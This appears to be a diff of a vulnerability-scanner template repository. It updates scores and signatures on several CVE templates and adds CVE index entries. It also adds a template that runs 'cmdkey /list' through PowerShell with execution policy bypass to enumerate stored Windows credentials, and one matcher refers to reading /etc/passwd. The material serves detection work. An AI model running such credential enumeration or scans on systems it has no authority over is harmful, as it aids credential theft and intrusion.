-# digest: 4a0a004730450221009abe47857ffdb332e0e64304eac070593121f5ed53dddca447b831feceb14de10220054bdf467470183f86c9da127ed80e2e19154c35e6fd7f0e9da3cbb4d5e4b866:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f7234c73aae801d78da251277aec0c21a4952b8b344944b3892eee84ec5891ae0221008d992982b582811cdd8173176149ef196cc6f7b672fcf16d10c05aab8badd9db:922c64590222798bb761d5b6d8e72950
@@ -10,6 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
+    epss-score: 0.15598
+    epss-percentile: 0.94407
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse
@@ -27,4 +29,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 490a0046304402201ac09f592d24f7e3d3087a1f7fbdb85b68416f74d0550fe9d9d9d41898a7b27b02206111d2729c3a07e5e63866a2ec73d167b64e612581728883cb8966797b137cf3:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204fca66bc1127003bf7091c3ef4aa8c9a979c22405fb23f6e34ed6ef18a8b0daa0220188f7df879246724eac3b609b7bba222ff83e2a839029e7a0ef168c88260941c:922c64590222798bb761d5b6d8e72950
@@ -20,6 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
+    epss-score: 0.16139
+    epss-percentile: 0.94531
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -121,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a0047304502200ca1bbbc60fa2debbed3a416665eacb5232cea3b028b9da309258483b69822d6022100b0184d0a81fb72e2e32d58323bb81aa53d24b1c5fcd038771a71f8ff000e3ee6:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201e63c308fefaaa4d4ba99b5a7c2ea3d7dcdf5544dc8d4a1ae1a0fbd532d7241702207232eaea82be593da580ba735e84de2153ee1708552ae08603c4c7237f2e1112:922c64590222798bb761d5b6d8e72950
@@ -17,6 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
+    epss-score: 0.80857
+    epss-percentile: 0.99096
  metadata:
    verified: true
    max-request: 2
@@ -191,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 490a0046304402204698451453cf480c6f4c8e276ddf0d9380a61c999a65ec0d29c5ed8490864e9e02205439af80b227f33a6378587084d8d95d7a50df8523a6d8f338a2561adf63ebc1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e75d786df30fc6d158bb38bc2b13a5af3c2e27174c1617fe01b419f3a5d69b57022100840b6aaccec646d85c578e77492eda810bfb731287ba8520e5d657e92f883297:922c64590222798bb761d5b6d8e72950
@@ -21,6 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
+    epss-score: 0.41406
+    epss-percentile: 0.97262
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -122,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a00473045022100df7d5d216b87880a14cc83c6a75207c8abe35918c11518caf6cc303812f77d7102202822e8fce807e7f5e5015788df46b6ecf677ff6ff2dcb6e1e3da8d3976b3ad45:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220767c6864cb0310b6d63e766a5284e127185a790ded13671c3b33ee3ae955d86a02202e855684ba68b62411f6e36c7e6c472bfbd78ce3f6729980b57f92116bca9a5c:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.00655
-    epss-percentile: 0.6872
+    epss-score: 0.01703
+    epss-percentile: 0.81527
  metadata:
    verified: true
    vendor: gitlab
@@ -78,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a00463044022004b71e49683e8e0fb5555bb3dd0c9f36c4b0804a6cd6e14e8c4c2664f14980df022061a0dd50918227101dcabe92ec86d4c56b40bdc98d8c9ffb396562bfc9e90887:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022100be3b0643c89a1ddcd15aa06afc686f3efb80fa245984ce21ca1b4275c74d42a2021f4b0e28ee37a26ab75834991f37b275727fac03c60f0170a2e59e232ae078d8:922c64590222798bb761d5b6d8e72950
@@ -20,13 +20,13 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.00386
-    epss-percentile: 0.58724
+    epss-score: 0.55376
+    epss-percentile: 0.97930
  metadata:
    verified: true
    max-request: 1
    shodan-query: "Erlang OTP"
-  tags: cve,cve2025,erlang,otp,ssh,rce,oast
+  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev

 variables:
  OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4b0a00483046022100b8ef2c0e0e8c218076ba845e8b0334ee9a4bbe5430eb84597a96d40c403073ad022100d73b311fc1bb3404a0aea728f335bbe94e624e7a5e82a8d156f740510d82042c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207edfd6f617b697c540c8375a5278b5c1016c928b22d041e1dc19ddfdad65d43b022100a4785eb798107b1413fd119e65a851be94361018e5eb785f393d26feed858cc1:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,34 @@
+id: get-stored-credentials-cmdkey
+
+info:
+  name: Get Stored Credentials - cmdkey
+  author: pussycat0x
+  severity: high
+  description: |
+    The cmdkey /list command in Windows is used to list all the stored credentials on the system. These credentials can include saved usernames and passwords for network resources, websites, or remote computers.
+  metadata:
+    verified: true
+  tags: code,windows,privesc,ps,enum
+
+self-contained: true
+
+code:
+  - engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+      - -File
+
+    pattern: "*.ps1"
+
+    source: |
+      cmdkey /list
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4a0a00473045022015e9929e942aa2e02815129c94477f42eb4a6c7632693abe6024f5f3116a63e3022100af0ba71a9a190d9f08f9764fdb777ed2a907b6592070f52b80ecbfb541b01f50:922c64590222798bb761d5b6d8e72950
@@ -264,6 +264,7 @@
 {"ID":"CVE-2014-9615","Info":{"Name":"Netsweeper 4.0.4 - Cross-Site Scripting","Severity":"medium","Description":"A cross-site scripting vulnerability in Netsweeper 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter to webadmin/deny/index.php.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2014/CVE-2014-9615.yaml"}
 {"ID":"CVE-2014-9617","Info":{"Name":"Netsweeper 3.0.6 - Open Redirection","Severity":"medium","Description":"An open redirect vulnerability in remotereporter/load_logfiles.php in Netsweeper before 4.0.5 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2014/CVE-2014-9617.yaml"}
 {"ID":"CVE-2014-9618","Info":{"Name":"Netsweeper - Authentication Bypass","Severity":"critical","Description":"The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2014/CVE-2014-9618.yaml"}
+{"ID":"CVE-2014-9735","Info":{"Name":"WordPress RevSlider - Remote Code Execution via File Upload","Severity":"high","Description":"The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2014/CVE-2014-9735.yaml"}
 {"ID":"CVE-2015-0554","Info":{"Name":"ADB/Pirelli ADSL2/2+ Wireless Router P.DGA4001N - Information Disclosure","Severity":"critical","Description":"ADB (formerly Pirelli Broadband Solutions) P.DGA4001N router with firmware PDG_TEF_SP_4.06L.6 does not properly restrict access to the web interface, which allows remote attackers to obtain sensitive information or cause a denial of service (device restart) as demonstrated by a direct request to (1) wlsecurity.html or (2) resetrouter.html.","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2015/CVE-2015-0554.yaml"}
 {"ID":"CVE-2015-1000005","Info":{"Name":"WordPress Candidate Application Form \u003c= 1.3 - Local File Inclusion","Severity":"high","Description":"WordPress Candidate Application Form \u003c= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2015/CVE-2015-1000005.yaml"}
 {"ID":"CVE-2015-1000010","Info":{"Name":"WordPress Simple Image Manipulator \u003c 1.0 - Local File Inclusion","Severity":"high","Description":"WordPress Simple Image Manipulator 1.0 is vulnerable to local file inclusion in ./simple-image-manipulator/controller/download.php  because no checks are made to authenticate users or sanitize input when determining file location.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2015/CVE-2015-1000010.yaml"}
@@ -323,6 +324,7 @@
 {"ID":"CVE-2015-9323","Info":{"Name":"404 to 301 \u003c= 2.0.2 - Authenticated Blind SQL Injection","Severity":"critical","Description":"The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2015/CVE-2015-9323.yaml"}
 {"ID":"CVE-2015-9414","Info":{"Name":"WordPress Symposium \u003c=15.8.1 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Symposium through 15.8.1 contains a reflected cross-site scripting vulnerability via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter which allows an attacker to steal cookie-based authentication credentials and launch other attacks.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2015/CVE-2015-9414.yaml"}
 {"ID":"CVE-2015-9480","Info":{"Name":"WordPress RobotCPA 5 - Directory Traversal","Severity":"high","Description":"The RobotCPA plugin 5 for WordPress has directory traversal via the f.php l parameter.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2015/CVE-2015-9480.yaml"}
+{"ID":"CVE-2015-9499","Info":{"Name":"WordPress ShowBiz Pro \u003c= 1.7.1 - Authenticated Arbitrary File Upload to RCE","Severity":"critical","Description":"The WordPress ShowBiz Pro plugin version \u003c= 1.7.1 allows arbitrary PHP file upload via the `admin-ajax.php` endpoint.This leads to unauthenticated remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2015/CVE-2015-9499.yaml"}
 {"ID":"CVE-2016-0957","Info":{"Name":"Adobe AEM Dispatcher \u003c4.15 - Rules Bypass","Severity":"high","Description":"Dispatcher before 4.1.5 in Adobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 does not properly implement a URL filter, which allows remote attackers to bypass dispatcher rules via unspecified vectors.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2016/CVE-2016-0957.yaml"}
 {"ID":"CVE-2016-1000126","Info":{"Name":"WordPress Admin Font Editor \u003c=1.8 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Admin Font Editor 1.8 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2016/CVE-2016-1000126.yaml"}
 {"ID":"CVE-2016-1000127","Info":{"Name":"WordPress AJAX Random Post \u003c=2.00 - Cross-Site Scripting","Severity":"medium","Description":"WordPress AJAX Random Post 2.00 is vulnerable to reflected cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2016/CVE-2016-1000127.yaml"}
@@ -527,6 +529,7 @@
 {"ID":"CVE-2018-11231","Info":{"Name":"Opencart Divido - Sql Injection","Severity":"high","Description":"OpenCart Divido plugin is susceptible to SQL injection\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2018/CVE-2018-11231.yaml"}
 {"ID":"CVE-2018-11409","Info":{"Name":"Splunk \u003c=7.0.1 - Information Disclosure","Severity":"medium","Description":"Splunk through 7.0.1 is susceptible to information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2018/CVE-2018-11409.yaml"}
 {"ID":"CVE-2018-11473","Info":{"Name":"Monstra CMS 3.0.4 - Cross-Site Scripting","Severity":"medium","Description":"Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-11473.yaml"}
+{"ID":"CVE-2018-11686","Info":{"Name":"FlexPaper/FlowPaper 2.3.6 - Remote Code Execution","Severity":"critical","Description":"The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-11686.yaml"}
 {"ID":"CVE-2018-11709","Info":{"Name":"WordPress wpForo Forum \u003c= 1.4.11 - Cross-Site Scripting","Severity":"medium","Description":"WordPress wpForo Forum plugin before 1.4.12 for WordPress allows unauthenticated reflected cross-site scripting via the URI.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-11709.yaml"}
 {"ID":"CVE-2018-11759","Info":{"Name":"Apache Tomcat JK Connect \u003c=1.2.44 - Manager Access","Severity":"high","Description":"Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 allows specially constructed requests to expose application functionality through the reverse proxy. It is also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-11759.yaml"}
 {"ID":"CVE-2018-11776","Info":{"Name":"Apache Struts2 S2-057 - Remote Code Execution","Severity":"high","Description":"Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2018/CVE-2018-11776.yaml"}
@@ -558,6 +561,7 @@
 {"ID":"CVE-2018-14916","Info":{"Name":"Loytec LGATE-902 \u003c6.4.2 - Local File Inclusion","Severity":"critical","Description":"Loytec LGATE-902 versions prior to 6.4.2 suffers from a local file inclusion vulnerability.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2018/CVE-2018-14916.yaml"}
 {"ID":"CVE-2018-14918","Info":{"Name":"LOYTEC LGATE-902 6.3.2 - Local File Inclusion","Severity":"high","Description":"LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-14918.yaml"}
 {"ID":"CVE-2018-14931","Info":{"Name":"Polarisft Intellect Core Banking Software Version 9.7.1 - Open Redirect","Severity":"medium","Description":"Polarisft Intellect Core Banking Software Version 9.7.1 is susceptible to an open redirect issue in the Core and Portal modules via the /IntellectMain.jsp?IntellectSystem= URI.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-14931.yaml"}
+{"ID":"CVE-2018-14933","Info":{"Name":"NUUO NVRmini - Remote Command Execution","Severity":"critical","Description":"NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-14933.yaml"}
 {"ID":"CVE-2018-15138","Info":{"Name":"LG-Ericsson iPECS NMS 30M - Local File Inclusion","Severity":"high","Description":"Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-15138.yaml"}
 {"ID":"CVE-2018-15517","Info":{"Name":"D-Link Central WifiManager - Server-Side Request Forgery","Severity":"high","Description":"D-Link Central WifiManager is susceptible to server-side request forgery. The MailConnect feature on D-Link Central WiFiManager CWM-100 1.03 r0098 devices is intended to check a connection to an SMTP server but actually allows outbound TCP to any port on any IP address, as demonstrated by an index.php/System/MailConnect/host/127.0.0.1/port/22/secure/ URI. This can undermine accountability of where scan or connections actually came from and or bypass the FW etc. This can be automated via script or using a browser.","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2018/CVE-2018-15517.yaml"}
 {"ID":"CVE-2018-15535","Info":{"Name":"Responsive FileManager \u003c9.13.4 - Local File Inclusion","Severity":"high","Description":"Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-15535.yaml"}
@@ -599,6 +603,7 @@
 {"ID":"CVE-2018-18925","Info":{"Name":"Gogs (Go Git Service) 0.11.66 - Remote Code Execution","Severity":"critical","Description":"Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a \"..\" session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-18925.yaml"}
 {"ID":"CVE-2018-19136","Info":{"Name":"DomainMOD 4.11.01 - Cross-Site Scripting","Severity":"medium","Description":"DomainMOD 4.11.01 is vulnerable to reflected cross-site scripting via assets/edit/registrar-account.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-19136.yaml"}
 {"ID":"CVE-2018-19137","Info":{"Name":"DomainMOD 4.11.01 - Cross-Site Scripting","Severity":"medium","Description":"DomainMOD 4.11.01 is vulnerable to reflected cross-site Scripting via assets/edit/ip-address.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-19137.yaml"}
+{"ID":"CVE-2018-19207","Info":{"Name":"WP GDPR Compliance \u003c 1.4.3 - Unauthenticated Call Any Action or Update Any Option","Severity":"critical","Description":"The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-19207.yaml"}
 {"ID":"CVE-2018-19276","Info":{"Name":"OpenMRS Platform \u003c 2.24.0 - Insecure Object Deserialization","Severity":"critical","Description":"OpenMRS before 2.24.0 is affected by an Insecure Object Deserialization vulnerability that allows an unauthenticated user to execute arbitrary commands on the targeted system via crafted XML data in a request body.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-19276.yaml"}
 {"ID":"CVE-2018-19287","Info":{"Name":"WordPress Ninja Forms \u003c3.3.18 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-19287.yaml"}
 {"ID":"CVE-2018-19326","Info":{"Name":"Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion","Severity":"high","Description":"Zyxel VMG1312-B10D 5.13AAXA.8 is susceptible to local file inclusion. A remote unauthenticated attacker can send a specially crafted URL request containing \"dot dot\" sequences (/../), conduct directory traversal attacks, and view arbitrary files.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-19326.yaml"}
@@ -759,6 +764,7 @@
 {"ID":"CVE-2019-17506","Info":{"Name":"D-Link DIR-868L/817LW - Information Disclosure","Severity":"critical","Description":"D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers are vulnerable to information disclosure vulnerabilities because certain web interfaces do not require authentication. An attacker can get the router's username and password (and other information) via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-17506.yaml"}
 {"ID":"CVE-2019-17538","Info":{"Name":"Jiangnan Online Judge 0.8.0 - Local File Inclusion","Severity":"high","Description":"Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1\u0026name=../.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-17538.yaml"}
 {"ID":"CVE-2019-17558","Info":{"Name":"Apache Solr \u003c=8.3.1 - Remote Code Execution","Severity":"high","Description":"Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-17558.yaml"}
+{"ID":"CVE-2019-17564","Info":{"Name":"Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization","Severity":"critical","Description":"Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4, 2.6.0 to 2.6.7, and all 2.5.x versions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-17564.yaml"}
 {"ID":"CVE-2019-17574","Info":{"Name":"Popup-Maker \u003c 1.8.12 - Broken Authentication","Severity":"critical","Description":"An issue was discovered in the Popup Maker plugin before 1.8.13 for WordPress. An unauthenticated attacker can partially control the arguments of the do_action function to invoke certain popmake_ or pum_ methods, as demonstrated by controlling content and delivery of popmake-system-info.txt (aka the \"support debug text file\").\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2019/CVE-2019-17574.yaml"}
 {"ID":"CVE-2019-17662","Info":{"Name":"ThinVNC 1.0b1 - Authentication Bypass","Severity":"critical","Description":"ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-17662.yaml"}
 {"ID":"CVE-2019-1821","Info":{"Name":"Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager - Remote Code Execution","Severity":"critical","Description":"Cisco Prime Infrastructure (PI) and Cisco Evolved Programmable Network (EPN) Manager could allow an authenticated, remote attacker to execute code with root-level privileges on the underlying operating system. This vulnerability exist because the software improperly validates user-supplied input. An attacker could exploit this vulnerability by uploading a malicious file to the administrative web interface. A successful exploit could allow the attacker to execute code with root-level privileges on the underlying operating system.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-1821.yaml"}
@@ -815,6 +821,7 @@
 {"ID":"CVE-2019-6802","Info":{"Name":"Pypiserver \u003c1.2.5 - Carriage Return Line Feed Injection","Severity":"medium","Description":"Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-6802.yaml"}
 {"ID":"CVE-2019-7139","Info":{"Name":"Magento - SQL Injection","Severity":"critical","Description":"An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-7139.yaml"}
 {"ID":"CVE-2019-7192","Info":{"Name":"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution","Severity":"critical","Description":"This improper access control vulnerability allows remote attackers to gain unauthorized access to the system. To fix these vulnerabilities, QNAP recommend updating Photo Station to their latest versions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-7192.yaml"}
+{"ID":"CVE-2019-7194","Info":{"Name":"QNAP Photo Station \u003c 6.0.3 - Remote Code Execution","Severity":"critical","Description":"QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-7194.yaml"}
 {"ID":"CVE-2019-7219","Info":{"Name":"Zarafa WebApp \u003c=2.0.1.47791 - Cross-Site Scripting","Severity":"medium","Description":"Zarafa WebApp 2.0.1.47791 and earlier contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-7219.yaml"}
 {"ID":"CVE-2019-7238","Info":{"Name":"Sonatype Nexus Repository Manager  \u003c3.15.0 - Remote Code Execution","Severity":"critical","Description":"Sonatype Nexus Repository Manager before 3.15.0 is susceptible to remote code execution.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-7238.yaml"}
 {"ID":"CVE-2019-7254","Info":{"Name":"eMerge E3 1.00-06 - Local File Inclusion","Severity":"high","Description":"Linear eMerge E3-Series devices are vulnerable to local file inclusion.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-7254.yaml"}
@@ -836,6 +843,7 @@
 {"ID":"CVE-2019-8943","Info":{"Name":"WordPress Core 5.0.0 - Crop-image Shell Upload","Severity":"medium","Description":"WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2019/CVE-2019-8943.yaml"}
 {"ID":"CVE-2019-8982","Info":{"Name":"Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery","Severity":"critical","Description":"WaveMaker Studio 6.6 mishandles the studioService.download?method=getContent\u0026inUrl= value in com/wavemaker/studio/StudioService.java, leading to disclosure of local files and server-side request forgery.","Classification":{"CVSSScore":"9.6"}},"file_path":"http/cves/2019/CVE-2019-8982.yaml"}
 {"ID":"CVE-2019-9041","Info":{"Name":"ZZZCMS 1.6.1 - Remote Code Execution","Severity":"high","Description":"ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2019/CVE-2019-9041.yaml"}
+{"ID":"CVE-2019-9194","Info":{"Name":"elFinder \u003c= 2.1.47 - Command Injection","Severity":"critical","Description":"elFinder before 2.1.48 has a command injection vulnerability in the PHP connector.\nThe vulnerability occurs when performing image operations on JPEG files, where the filename\nis passed to the `exiftran` utility without proper sanitization, allowing command injection.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-9194.yaml"}
 {"ID":"CVE-2019-9618","Info":{"Name":"WordPress GraceMedia Media Player 1.0 - Local File Inclusion","Severity":"critical","Description":"WordPress GraceMedia Media Player plugin 1.0 is susceptible to local file inclusion via the cfg parameter.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-9618.yaml"}
 {"ID":"CVE-2019-9632","Info":{"Name":"ESAFENET CDG - Arbitrary File Download","Severity":"high","Description":"ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-9632.yaml"}
 {"ID":"CVE-2019-9670","Info":{"Name":"Synacor Zimbra Collaboration \u003c8.7.11p10 - XML External Entity Injection","Severity":"critical","Description":"Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML external entity injection (XXE) vulnerability via the mailboxd component.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-9670.yaml"}
@@ -860,6 +868,7 @@
